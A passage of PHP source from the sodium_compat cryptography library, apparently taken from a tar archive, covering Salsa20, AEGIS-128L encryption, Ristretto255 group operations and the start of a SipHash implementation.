                $in[$i] = self::intToChr($u & 0xff);
                $u >>= 8;
            }
            $len -= 64;
        }
        if ($len > 0) {
            $c .= self::substr(
                self::core_salsa20($in, $kcopy, null),
                0,
                $len
            );
        }
        try {
            ParagonIE_Sodium_Compat::memzero($kcopy);
        } catch (SodiumException $ex) {
            $kcopy = null;
        }
        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $m
     * @param string $n
     * @param int $ic
     * @param string $k
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function salsa20_xor_ic($m, $n, $ic, $k)
    {
        $mlen = self::strlen($m);
        if ($mlen < 1) {
            return '';
        }
        $kcopy = self::substr($k, 0, 32);
        $in = self::substr($n, 0, 8);
        // Initialize the counter
        $in .= ParagonIE_Sodium_Core_Util::store64_le($ic);

        $c = '';
        while ($mlen >= 64) {
            $block = self::core_salsa20($in, $kcopy, null);
            $c .= self::xorStrings(
                self::substr($m, 0, 64),
                self::substr($block, 0, 64)
            );
            $u = 1;
            for ($i = 8; $i < 16; ++$i) {
                $u += self::chrToInt($in[$i]);
                $in[$i] = self::intToChr($u & 0xff);
                $u >>= 8;
            }

            $mlen -= 64;
            $m = self::substr($m, 64);
        }

        if ($mlen) {
            $block = self::core_salsa20($in, $kcopy, null);
            $c .= self::xorStrings(
                self::substr($m, 0, $mlen),
                self::substr($block, 0, $mlen)
            );
        }
        try {
            ParagonIE_Sodium_Compat::memzero($block);
            ParagonIE_Sodium_Compat::memzero($kcopy);
        } catch (SodiumException $ex) {
            $block = null;
            $kcopy = null;
        }

        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function salsa20_xor($message, $nonce, $key)
    {
        return self::xorStrings(
            $message,
            self::salsa20(
                self::strlen($message),
                $nonce,
                $key
            )
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $u
     * @param int $c
     * @return int
     */
    public static function rotate($u, $c)
    {
        $u &= 0xffffffff;
        $c %= 32;
        return (int) (0xffffffff & (
                ($u << $c)
                    |
                ($u >> (32 - $c))
            )
        );
    }
}
Core/AEGIS128L.php000064400000007124152222652550007356 0ustar00<?php

if (!defined('SODIUM_COMPAT_AEGIS_C0')) {
    define('SODIUM_COMPAT_AEGIS_C0', "\x00\x01\x01\x02\x03\x05\x08\x0d\x15\x22\x37\x59\x90\xe9\x79\x62");
}
if (!defined('SODIUM_COMPAT_AEGIS_C1')) {
    define('SODIUM_COMPAT_AEGIS_C1', "\xdb\x3d\x18\x55\x6d\xc2\x2f\xf1\x20\x11\x31\x42\x73\xb5\x28\xdd");
}

class ParagonIE_Sodium_Core_AEGIS128L extends ParagonIE_Sodium_Core_AES
{
    /**
     * @param string $ct
     * @param string $tag
     * @param string $ad
     * @param string $key
     * @param string $nonce
     * @return string
     * @throws SodiumException
     */
    public static function decrypt($ct, $tag, $ad, $key, $nonce)
    {
        $state = self::init($key, $nonce);
        $ad_blocks = (self::strlen($ad) + 31) >> 5;
        for ($i = 0; $i < $ad_blocks; ++$i) {
            $ai = self::substr($ad, $i << 5, 32);
            if (self::strlen($ai) < 32) {
                $ai = str_pad($ai, 32, "\0", STR_PAD_RIGHT);
            }
            $state->absorb($ai);
        }

        $msg = '';
        $cn = self::strlen($ct) & 31;
        $ct_blocks = self::strlen($ct) >> 5;
        for ($i = 0; $i < $ct_blocks; ++$i) {
            $msg .= $state->dec(self::substr($ct, $i << 5, 32));
        }
        if ($cn) {
            $start = $ct_blocks << 5;
            $msg .= $state->decPartial(self::substr($ct, $start, $cn));
        }
        $expected_tag = $state->finalize(
            self::strlen($ad) << 3,
            self::strlen($msg) << 3
        );
        if (!self::hashEquals($expected_tag, $tag)) {
            try {
                // The RFC says to erase msg, so we shall try:
                ParagonIE_Sodium_Compat::memzero($msg);
            } catch (SodiumException $ex) {
                // Do nothing if we cannot memzero
            }
            throw new SodiumException('verification failed');
        }
        return $msg;
    }

    /**
     * @param string $msg
     * @param string $ad
     * @param string $key
     * @param string $nonce
     * @return array
     *
     * @throws SodiumException
     */
    public static function encrypt($msg, $ad, $key, $nonce)
    {
        $state = self::init($key, $nonce);
        // ad_blocks = Split(ZeroPad(ad, 256), 256)
        // for ai in ad_blocks:
        //     Absorb(ai)
        $ad_len = self::strlen($ad);
        $msg_len = self::strlen($msg);
        $ad_blocks = ($ad_len + 31) >> 5;
        for ($i = 0; $i < $ad_blocks; ++$i) {
            $ai = self::substr($ad, $i << 5, 32);
            if (self::strlen($ai) < 32) {
                $ai = str_pad($ai, 32, "\0", STR_PAD_RIGHT);
            }
            $state->absorb($ai);
        }

        // msg_blocks = Split(ZeroPad(msg, 256), 256)
        // for xi in msg_blocks:
        //     ct = ct || Enc(xi)
        $ct = '';
        $msg_blocks = ($msg_len + 31) >> 5;
        for ($i = 0; $i < $msg_blocks; ++$i) {
            $xi = self::substr($msg, $i << 5, 32);
            if (self::strlen($xi) < 32) {
                $xi = str_pad($xi, 32, "\0", STR_PAD_RIGHT);
            }
            $ct .= $state->enc($xi);
        }
        // tag = Finalize(|ad|, |msg|)
        // ct = Truncate(ct, |msg|)
        $tag = $state->finalize(
            $ad_len << 3,
            $msg_len << 3
        );
        // return ct and tag
        return array(
            self::substr($ct, 0, $msg_len),
            $tag
        );
    }

    /**
     * @param string $key
     * @param string $nonce
     * @return ParagonIE_Sodium_Core_AEGIS_State128L
     */
    public static function init($key, $nonce)
    {
        return ParagonIE_Sodium_Core_AEGIS_State128L::init($key, $nonce);
    }
}
Core/Ristretto255.php000064400000052574152222652550010423 0ustar00<?php

/**
 * Class ParagonIE_Sodium_Core_Ristretto255
 */
class ParagonIE_Sodium_Core_Ristretto255 extends ParagonIE_Sodium_Core_Ed25519
{
    const crypto_core_ristretto255_HASHBYTES = 64;
    const HASH_SC_L = 48;
    const CORE_H2C_SHA256 = 1;
    const CORE_H2C_SHA512 = 2;

    /**
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @param int $b
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_cneg(ParagonIE_Sodium_Core_Curve25519_Fe $f, $b)
    {
        $negf = self::fe_neg($f);
        return self::fe_cmov($f, $negf, $b);
    }

    /**
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     * @throws SodiumException
     */
    public static function fe_abs(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        return self::fe_cneg($f, self::fe_isnegative($f));
    }

    /**
     * Returns 0 if this field element results in all NUL bytes.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return int
     * @throws SodiumException
     */
    public static function fe_iszero(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        static $zero;
        if ($zero === null) {
            $zero = str_repeat("\x00", 32);
        }
        /** @var string $zero */
        $str = self::fe_tobytes($f);

        $d = 0;
        for ($i = 0; $i < 32; ++$i) {
            $d |= self::chrToInt($str[$i]);
        }
        return (($d - 1) >> 31) & 1;
    }


    /**
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $u
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $v
     * @return array{x: ParagonIE_Sodium_Core_Curve25519_Fe, nonsquare: int}
     *
     * @throws SodiumException
     */
    public static function ristretto255_sqrt_ratio_m1(
        ParagonIE_Sodium_Core_Curve25519_Fe $u,
        ParagonIE_Sodium_Core_Curve25519_Fe $v
    ) {
        $sqrtm1 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtm1);

        $v3 = self::fe_mul(
            self::fe_sq($v),
            $v
        ); /* v3 = v^3 */
        $x = self::fe_mul(
            self::fe_mul(
                self::fe_sq($v3),
                $u
            ),
            $v
        ); /* x = uv^7 */

        $x = self::fe_mul(
            self::fe_mul(
                self::fe_pow22523($x), /* x = (uv^7)^((q-5)/8) */
                $v3
            ),
            $u
        ); /* x = uv^3(uv^7)^((q-5)/8) */

        $vxx = self::fe_mul(
            self::fe_sq($x),
            $v
        ); /* vx^2 */

        $m_root_check = self::fe_sub($vxx, $u); /* vx^2-u */
        $p_root_check = self::fe_add($vxx, $u); /* vx^2+u */
        $f_root_check = self::fe_mul($u, $sqrtm1); /* u*sqrt(-1) */
        $f_root_check = self::fe_add($vxx, $f_root_check); /* vx^2+u*sqrt(-1) */

        $has_m_root = self::fe_iszero($m_root_check);
        $has_p_root = self::fe_iszero($p_root_check);
        $has_f_root = self::fe_iszero($f_root_check);

        $x_sqrtm1 = self::fe_mul($x, $sqrtm1); /* x*sqrt(-1) */

        $x = self::fe_abs(
            self::fe_cmov($x, $x_sqrtm1, $has_p_root | $has_f_root)
        );
        return array(
            'x' => $x,
            'nonsquare' => $has_m_root | $has_p_root
        );
    }

    /**
     * @param string $s
     * @return int
     * @throws SodiumException
     */
    public static function ristretto255_point_is_canonical($s)
    {
        $c = (self::chrToInt($s[31]) & 0x7f) ^ 0x7f;
        for ($i = 30; $i > 0; --$i) {
            $c |= self::chrToInt($s[$i]) ^ 0xff;
        }
        $c = ($c - 1) >> 8;
        $d = (0xed - 1 - self::chrToInt($s[0])) >> 8;
        $e = self::chrToInt($s[31]) >> 7;

        return 1 - ((($c & $d) | $e | self::chrToInt($s[0])) & 1);
    }

    /**
     * @param string $s
     * @param bool $skipCanonicalCheck
     * @return array{h: ParagonIE_Sodium_Core_Curve25519_Ge_P3, res: int}
     * @throws SodiumException
     */
    public static function ristretto255_frombytes($s, $skipCanonicalCheck = false)
    {
        if (!$skipCanonicalCheck) {
            if (!self::ristretto255_point_is_canonical($s)) {
                throw new SodiumException('S is not canonical');
            }
        }

        $s_ = self::fe_frombytes($s);
        $ss = self::fe_sq($s_); /* ss = s^2 */

        $u1 = self::fe_sub(self::fe_1(), $ss); /* u1 = 1-ss */
        $u1u1 = self::fe_sq($u1); /* u1u1 = u1^2 */

        $u2 = self::fe_add(self::fe_1(), $ss); /* u2 = 1+ss */
        $u2u2 = self::fe_sq($u2); /* u2u2 = u2^2 */

        $v = self::fe_mul(
            ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d),
            $u1u1
        ); /* v = d*u1^2 */
        $v = self::fe_neg($v); /* v = -d*u1^2 */
        $v = self::fe_sub($v, $u2u2); /* v = -(d*u1^2)-u2^2 */
        $v_u2u2 = self::fe_mul($v, $u2u2); /* v_u2u2 = v*u2^2 */

        // fe25519_1(one);
        // notsquare = ristretto255_sqrt_ratio_m1(inv_sqrt, one, v_u2u2);
        $one = self::fe_1();
        $result = self::ristretto255_sqrt_ratio_m1($one, $v_u2u2);
        $inv_sqrt = $result['x'];
        $notsquare = $result['nonsquare'];

        $h = new ParagonIE_Sodium_Core_Curve25519_Ge_P3();

        $h->X = self::fe_mul($inv_sqrt, $u2);
        $h->Y = self::fe_mul(self::fe_mul($inv_sqrt, $h->X), $v);

        $h->X = self::fe_mul($h->X, $s_);
        $h->X = self::fe_abs(
            self::fe_add($h->X, $h->X)
        );
        $h->Y = self::fe_mul($u1, $h->Y);
        $h->Z = self::fe_1();
        $h->T = self::fe_mul($h->X, $h->Y);

        $res = - ((1 - $notsquare) | self::fe_isnegative($h->T) | self::fe_iszero($h->Y));
        return array('h' => $h, 'res' => $res);
    }

    /**
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_p3_tobytes(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h)
    {
        $sqrtm1 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtm1);
        $invsqrtamd = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$invsqrtamd);

        $u1 = self::fe_add($h->Z, $h->Y); /* u1 = Z+Y */
        $zmy = self::fe_sub($h->Z, $h->Y); /* zmy = Z-Y */
        $u1 = self::fe_mul($u1, $zmy); /* u1 = (Z+Y)*(Z-Y) */
        $u2 = self::fe_mul($h->X, $h->Y); /* u2 = X*Y */

        $u1_u2u2 = self::fe_mul(self::fe_sq($u2), $u1); /* u1_u2u2 = u1*u2^2 */
        $one = self::fe_1();

        // fe25519_1(one);
        // (void) ristretto255_sqrt_ratio_m1(inv_sqrt, one, u1_u2u2);
        $result = self::ristretto255_sqrt_ratio_m1($one, $u1_u2u2);
        $inv_sqrt = $result['x'];

        $den1 = self::fe_mul($inv_sqrt, $u1); /* den1 = inv_sqrt*u1 */
        $den2 = self::fe_mul($inv_sqrt, $u2); /* den2 = inv_sqrt*u2 */
        $z_inv = self::fe_mul($h->T, self::fe_mul($den1, $den2)); /* z_inv = den1*den2*T */

        $ix = self::fe_mul($h->X, $sqrtm1); /* ix = X*sqrt(-1) */
        $iy = self::fe_mul($h->Y, $sqrtm1); /* iy = Y*sqrt(-1) */
        $eden = self::fe_mul($den1, $invsqrtamd);

        $t_z_inv =  self::fe_mul($h->T, $z_inv); /* t_z_inv = T*z_inv */
        $rotate = self::fe_isnegative($t_z_inv);

        $x_ = self::fe_copy($h->X);
        $y_ = self::fe_copy($h->Y);
        $den_inv = self::fe_copy($den2);

        $x_ = self::fe_cmov($x_, $iy, $rotate);
        $y_ = self::fe_cmov($y_, $ix, $rotate);
        $den_inv = self::fe_cmov($den_inv, $eden, $rotate);

        $x_z_inv = self::fe_mul($x_, $z_inv);
        $y_ = self::fe_cneg($y_, self::fe_isnegative($x_z_inv));


        // fe25519_sub(s_, h->Z, y_);
        // fe25519_mul(s_, den_inv, s_);
        // fe25519_abs(s_, s_);
        // fe25519_tobytes(s, s_);
        return self::fe_tobytes(
            self::fe_abs(
                self::fe_mul(
                    $den_inv,
                    self::fe_sub($h->Z, $y_)
                )
            )
        );
    }

    /**
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $t
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     *
     * @throws SodiumException
     */
    public static function ristretto255_elligator(ParagonIE_Sodium_Core_Curve25519_Fe $t)
    {
        $sqrtm1   = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtm1);
        $onemsqd  = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$onemsqd);
        $d        = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d);
        $sqdmone  = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqdmone);
        $sqrtadm1 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtadm1);

        $one = self::fe_1();
        $r   = self::fe_mul($sqrtm1, self::fe_sq($t));         /* r = sqrt(-1)*t^2 */
        $u   = self::fe_mul(self::fe_add($r, $one), $onemsqd); /* u = (r+1)*(1-d^2) */
        $c   = self::fe_neg(self::fe_1());                     /* c = -1 */
        $rpd = self::fe_add($r, $d);                           /* rpd = r+d */

        $v = self::fe_mul(
            self::fe_sub(
                $c,
                self::fe_mul($r, $d)
            ),
            $rpd
        ); /* v = (c-r*d)*(r+d) */

        $result = self::ristretto255_sqrt_ratio_m1($u, $v);
        $s = $result['x'];
        $wasnt_square = 1 - $result['nonsquare'];

        $s_prime = self::fe_neg(
            self::fe_abs(
                self::fe_mul($s, $t)
            )
        ); /* s_prime = -|s*t| */
        $s = self::fe_cmov($s, $s_prime, $wasnt_square);
        $c = self::fe_cmov($c, $r, $wasnt_square);

        // fe25519_sub(n, r, one);            /* n = r-1 */
        // fe25519_mul(n, n, c);              /* n = c*(r-1) */
        // fe25519_mul(n, n, ed25519_sqdmone); /* n = c*(r-1)*(d-1)^2 */
        // fe25519_sub(n, n, v);              /* n =  c*(r-1)*(d-1)^2-v */
        $n = self::fe_sub(
            self::fe_mul(
                self::fe_mul(
                    self::fe_sub($r, $one),
                    $c
                ),
                $sqdmone
            ),
            $v
        ); /* n =  c*(r-1)*(d-1)^2-v */

        $w0 = self::fe_mul(
            self::fe_add($s, $s),
            $v
        ); /* w0 = 2s*v */

        $w1 = self::fe_mul($n, $sqrtadm1); /* w1 = n*sqrt(ad-1) */
        $ss = self::fe_sq($s); /* ss = s^2 */
        $w2 = self::fe_sub($one, $ss); /* w2 = 1-s^2 */
        $w3 = self::fe_add($one, $ss); /* w3 = 1+s^2 */

        return new ParagonIE_Sodium_Core_Curve25519_Ge_P3(
            self::fe_mul($w0, $w3),
            self::fe_mul($w2, $w1),
            self::fe_mul($w1, $w3),
            self::fe_mul($w0, $w2)
        );
    }

    /**
     * @param string $h
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_from_hash($h)
    {
        if (self::strlen($h) !== 64) {
            throw new SodiumException('Hash must be 64 bytes');
        }
        //fe25519_frombytes(r0, h);
        //fe25519_frombytes(r1, h + 32);
        $r0 = self::fe_frombytes(self::substr($h, 0, 32));
        $r1 = self::fe_frombytes(self::substr($h, 32, 32));

        //ristretto255_elligator(&p0, r0);
        //ristretto255_elligator(&p1, r1);
        $p0 = self::ristretto255_elligator($r0);
        $p1 = self::ristretto255_elligator($r1);

        //ge25519_p3_to_cached(&p1_cached, &p1);
        //ge25519_add_cached(&p_p1p1, &p0, &p1_cached);
        $p_p1p1 = self::ge_add(
            $p0,
            self::ge_p3_to_cached($p1)
        );

        //ge25519_p1p1_to_p3(&p, &p_p1p1);
        //ristretto255_p3_tobytes(s, &p);
        return self::ristretto255_p3_tobytes(
            self::ge_p1p1_to_p3($p_p1p1)
        );
    }

    /**
     * @param string $p
     * @return int
     * @throws SodiumException
     */
    public static function is_valid_point($p)
    {
        $result = self::ristretto255_frombytes($p);
        if ($result['res'] !== 0) {
            return 0;
        }
        return 1;
    }

    /**
     * @param string $p
     * @param string $q
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_add($p, $q)
    {
        $p_res = self::ristretto255_frombytes($p);
        $q_res = self::ristretto255_frombytes($q);
        if ($p_res['res'] !== 0 || $q_res['res'] !== 0) {
            throw new SodiumException('Could not add points');
        }
        $p_p3 = $p_res['h'];
        $q_p3 = $q_res['h'];
        $q_cached = self::ge_p3_to_cached($q_p3);
        $r_p1p1 = self::ge_add($p_p3, $q_cached);
        $r_p3 = self::ge_p1p1_to_p3($r_p1p1);
        return self::ristretto255_p3_tobytes($r_p3);
    }

    /**
     * @param string $p
     * @param string $q
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_sub($p, $q)
    {
        $p_res = self::ristretto255_frombytes($p);
        $q_res = self::ristretto255_frombytes($q);
        if ($p_res['res'] !== 0 || $q_res['res'] !== 0) {
            throw new SodiumException('Could not add points');
        }
        $p_p3 = $p_res['h'];
        $q_p3 = $q_res['h'];
        $q_cached = self::ge_p3_to_cached($q_p3);
        $r_p1p1 = self::ge_sub($p_p3, $q_cached);
        $r_p3 = self::ge_p1p1_to_p3($r_p1p1);
        return self::ristretto255_p3_tobytes($r_p3);
    }


    /**
     * @param int $hLen
     * @param ?string $ctx
     * @param string $msg
     * @return string
     * @throws SodiumException
     * @psalm-suppress PossiblyInvalidArgument hash API
     */
    protected static function h2c_string_to_hash_sha256($hLen, $ctx, $msg)
    {
        $h = array_fill(0, $hLen, 0);
        $ctx_len = !is_null($ctx) ? self::strlen($ctx) : 0;
        if ($hLen > 0xff) {
            throw new SodiumException('Hash must be less than 256 bytes');
        }

        if ($ctx_len > 0xff) {
            $st = hash_init('sha256');
            self::hash_update($st, "H2C-OVERSIZE-DST-");
            self::hash_update($st, $ctx);
            $ctx = hash_final($st, true);
            $ctx_len = 32;
        }
        $t = array(0, $hLen, 0);
        $ux = str_repeat("\0", 64);
        $st = hash_init('sha256');
        self::hash_update($st, $ux);
        self::hash_update($st, $msg);
        self::hash_update($st, self::intArrayToString($t));
        self::hash_update($st, $ctx);
        self::hash_update($st, self::intToChr($ctx_len));
        $u0 = hash_final($st, true);

        for ($i = 0; $i < $hLen; $i += 64) {
            $ux = self::xorStrings($ux, $u0);
            ++$t[2];
            $st = hash_init('sha256');
            self::hash_update($st, $ux);
            self::hash_update($st, self::intToChr($t[2]));
            self::hash_update($st, $ctx);
            self::hash_update($st, self::intToChr($ctx_len));
            $ux = hash_final($st, true);
            $amount = min($hLen - $i, 64);
            for ($j = 0; $j < $amount; ++$j) {
                $h[$i + $j] = self::chrToInt($ux[$i]);
            }
        }
        return self::intArrayToString(array_slice($h, 0, $hLen));
    }

    /**
     * @param int $hLen
     * @param ?string $ctx
     * @param string $msg
     * @return string
     * @throws SodiumException
     * @psalm-suppress PossiblyInvalidArgument hash API
     */
    protected static function h2c_string_to_hash_sha512($hLen, $ctx, $msg)
    {
        $h = array_fill(0, $hLen, 0);
        $ctx_len = !is_null($ctx) ? self::strlen($ctx) : 0;
        if ($hLen > 0xff) {
            throw new SodiumException('Hash must be less than 256 bytes');
        }

        if ($ctx_len > 0xff) {
            $st = hash_init('sha256');
            self::hash_update($st, "H2C-OVERSIZE-DST-");
            self::hash_update($st, $ctx);
            $ctx = hash_final($st, true);
            $ctx_len = 32;
        }
        $t = array(0, $hLen, 0);
        $ux = str_repeat("\0", 128);
        $st = hash_init('sha512');
        self::hash_update($st, $ux);
        self::hash_update($st, $msg);
        self::hash_update($st, self::intArrayToString($t));
        self::hash_update($st, $ctx);
        self::hash_update($st, self::intToChr($ctx_len));
        $u0 = hash_final($st, true);

        for ($i = 0; $i < $hLen; $i += 128) {
            $ux = self::xorStrings($ux, $u0);
            ++$t[2];
            $st = hash_init('sha512');
            self::hash_update($st, $ux);
            self::hash_update($st, self::intToChr($t[2]));
            self::hash_update($st, $ctx);
            self::hash_update($st, self::intToChr($ctx_len));
            $ux = hash_final($st, true);
            $amount = min($hLen - $i, 128);
            for ($j = 0; $j < $amount; ++$j) {
                $h[$i + $j] = self::chrToInt($ux[$i]);
            }
        }
        return self::intArrayToString(array_slice($h, 0, $hLen));
    }

    /**
     * @param int $hLen
     * @param ?string $ctx
     * @param string $msg
     * @param int $hash_alg
     * @return string
     * @throws SodiumException
     */
    public static function h2c_string_to_hash($hLen, $ctx, $msg, $hash_alg)
    {
        switch ($hash_alg) {
            case self::CORE_H2C_SHA256:
                return self::h2c_string_to_hash_sha256($hLen, $ctx, $msg);
            case self::CORE_H2C_SHA512:
                return self::h2c_string_to_hash_sha512($hLen, $ctx, $msg);
            default:
                throw new SodiumException('Invalid H2C hash algorithm');
        }
    }

    /**
     * @param ?string $ctx
     * @param string $msg
     * @param int $hash_alg
     * @return string
     * @throws SodiumException
     */
    protected static function _string_to_element($ctx, $msg, $hash_alg)
    {
        return self::ristretto255_from_hash(
            self::h2c_string_to_hash(self::crypto_core_ristretto255_HASHBYTES, $ctx, $msg, $hash_alg)
        );
    }

    /**
     * @return string
     * @throws SodiumException
     * @throws Exception
     */
    public static function ristretto255_random()
    {
        return self::ristretto255_from_hash(
            ParagonIE_Sodium_Compat::randombytes_buf(self::crypto_core_ristretto255_HASHBYTES)
        );
    }

    /**
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_random()
    {
        return self::scalar_random();
    }

    /**
     * @param string $s
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_complement($s)
    {
        return self::scalar_complement($s);
    }


    /**
     * @param string $s
     * @return string
     */
    public static function ristretto255_scalar_invert($s)
    {
        return self::sc25519_invert($s);
    }

    /**
     * @param string $s
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_negate($s)
    {
        return self::scalar_negate($s);
    }

    /**
     * @param string $x
     * @param string $y
     * @return string
     */
    public static function ristretto255_scalar_add($x, $y)
    {
        return self::scalar_add($x, $y);
    }

    /**
     * @param string $x
     * @param string $y
     * @return string
     */
    public static function ristretto255_scalar_sub($x, $y)
    {
        return self::scalar_sub($x, $y);
    }

    /**
     * @param string $x
     * @param string $y
     * @return string
     */
    public static function ristretto255_scalar_mul($x, $y)
    {
        return self::sc25519_mul($x, $y);
    }

    /**
     * @param string $ctx
     * @param string $msg
     * @param int $hash_alg
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_from_string($ctx, $msg, $hash_alg)
    {
        $h = array_fill(0, 64, 0);
        $h_be = self::stringToIntArray(
            self::h2c_string_to_hash(
                self::HASH_SC_L, $ctx, $msg, $hash_alg
            )
        );

        for ($i = 0; $i < self::HASH_SC_L; ++$i) {
            $h[$i] = $h_be[self::HASH_SC_L - 1 - $i];
        }
        return self::ristretto255_scalar_reduce(self::intArrayToString($h));
    }

    /**
     * @param string $s
     * @return string
     */
    public static function ristretto255_scalar_reduce($s)
    {
        return self::sc_reduce($s);
    }

    /**
     * @param string $n
     * @param string $p
     * @return string
     * @throws SodiumException
     */
    public static function scalarmult_ristretto255($n, $p)
    {
        if (self::strlen($n) !== 32) {
            throw new SodiumException('Scalar must be 32 bytes, ' . self::strlen($p) . ' given.');
        }
        if (self::strlen($p) !== 32) {
            throw new SodiumException('Point must be 32 bytes, ' . self::strlen($p) . ' given.');
        }
        $result = self::ristretto255_frombytes($p);
        if ($result['res'] !== 0) {
            throw new SodiumException('Could not multiply points');
        }
        $P = $result['h'];

        $t = self::stringToIntArray($n);
        $t[31] &= 0x7f;
        $Q = self::ge_scalarmult(self::intArrayToString($t), $P);
        $q = self::ristretto255_p3_tobytes($Q);
        if (ParagonIE_Sodium_Compat::is_zero($q)) {
            throw new SodiumException('An unknown error has occurred');
        }
        return $q;
    }

    /**
     * @param string $n
     * @return string
     * @throws SodiumException
     */
    public static function scalarmult_ristretto255_base($n)
    {
        $t = self::stringToIntArray($n);
        $t[31] &= 0x7f;
        $Q = self::ge_scalarmult_base(self::intArrayToString($t));
        $q = self::ristretto255_p3_tobytes($Q);
        if (ParagonIE_Sodium_Compat::is_zero($q)) {
            throw new SodiumException('An unknown error has occurred');
        }
        return $q;
    }
}
Core/SipHash.php000064400000020051152222652550007510 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_SipHash', false)) {
    return;
}

/**
 * Class ParagonIE_SodiumCompat_Core_SipHash
 *
 * Only uses 32-bit arithmetic, while the original SipHash used 64-bit integers
 */
class ParagonIE_Sodium_Core_SipHash extends ParagonIE_Sodium_Core_Util
{
    /**
     * @internal You should not use this directly from another application
     *
     * @param int[] $v
     * @return int[]
     *
     */
    public static function sipRound(array $v)
    {
        # v0 += v1;
        list($v[0], $v[1]) = self::add(
            array($v[0], $v[1]),
            array($v[2], $v[3])
        );

        #  v1=ROTL(v1,13);
        list($v[2], $v[3]) = self::rotl_64((int) $v[2], (int) $v[3], 13);

        #  v1 ^= v0;
        $v[2] = (int) $v[2] ^ (int) $v[0];
        $v[3] = (int) $v[3] ^ (int) $v[1];

        #  v0=ROTL(v0,32);
        list($v[0], $v[1]) = self::rotl_64((int) $v[0], (int) $v[1], 32);

        # v2 += v3;
        list($v[4], $v[5]) = self::add(
            array((int) $v[4], (int) $v[5]),
            array((int) $v[6], (int) $v[7])
        );

        # v3=ROTL(v3,16);
        list($v[6], $v[7]) = self::rotl_64((int) $v[6], (int) $v[7], 16);

        #  v3 ^= v2;
        $v[6] = (int) $v[6] ^ (int) $v[4];
        $v[7] = (int) $v[7] ^ (int) $v[5];

        # v0 += v3;
        list($v[0], $v[1]) = self::add(
            array((int) $v[0], (int) $v[1]),
            array((int) $v[6], (int) $v[7])
        );

        # v3=ROTL(v3,21);
        list($v[6], $v[7]) = self::rotl_64((int) $v[6], (int) $v[7], 21);

        # v3 ^= v0;
        $v[6] = (int) $v[6] ^ (int) $v[0];
        $v[7] = (int) $v[7] ^ (int) $v[1];

        # v2 += v1;
        list($v[4], $v[5]) = self::add(
            array((int) $v[4], (int) $v[5]),
            array((int) $v[2], (int) $v[3])
        );

        # v1=ROTL(v1,17);
        list($v[2], $v[3]) = self::rotl_64((int) $v[2], (int) $v[3], 17);

        #  v1 ^= v2;;
        $v[2] = (int) $v[2] ^ (int) $v[4];
        $v[3] = (int) $v[3] ^ (int) $v[5];

        # v2=ROTL(v2,32)
        list($v[4], $v[5]) = self::rotl_64((int) $v[4], (int) $v[5], 32);

        return $v;
    }

    /**
     * Add two 32 bit integers representing a 64-bit integer.
     *
     * @internal You should not use this directly from another application
     *
     * @param int[] $a
     * @param int[] $b
     * @return array<int, mixed>
     */
    public static function add(array $a, array $b)
    {
        /** @var int $x1 */
        $x1 = $a[1] + $b[1];
        /** @var int $c */
        $c = $x1 >> 32; // Carry if ($a + $b) > 0xffffffff
        /** @var int $x0 */
        $x0 = $a[0] + $b[0] + $c;
        return array(
            $x0 & 0xffffffff,
            $x1 & 0xffffffff
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $int0
     * @param int $int1
     * @param int $c
     * @return array<int, mixed>
     */
    public static function rotl_64($int0, $int1, $c)
    {
        $int0 &= 0xffffffff;
        $int1 &= 0xffffffff;
        $c &= 63;
        if ($c === 32) {
            return array($int1, $int0);
        }
        if ($c > 31) {
            $tmp = $int1;
            $int1 = $int0;
            $int0 = $tmp;
            $c &= 31;
        }
        if ($c === 0) {
            return array($int0, $int1);
        }
        return array(
            0xffffffff & (
                ($int0 << $c)
                    |
                ($int1 >> (32 - $c))
            ),
            0xffffffff & (
                ($int1 << $c)
                    |
                ($int0 >> (32 - $c))
            ),
        );
    }

    /**
     * Implements Siphash-2-4 using only 32-bit numbers.
     *
     * When we split an int into two, the higher bits go to the lower index.
     * e.g. 0xDEADBEEFAB10C92D becomes [
     *     0 => 0xDEADBEEF,
     *     1 => 0xAB10C92D
     * ].
     *
     * @internal You should not use this directly from another application
     *
     * @param string $in
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sipHash24($in, $key)
    {
        $inlen = self::strlen($in);

        # /* "somepseudorandomlygeneratedbytes" */
        # u64 v0 = 0x736f6d6570736575ULL;
        # u64 v1 = 0x646f72616e646f6dULL;
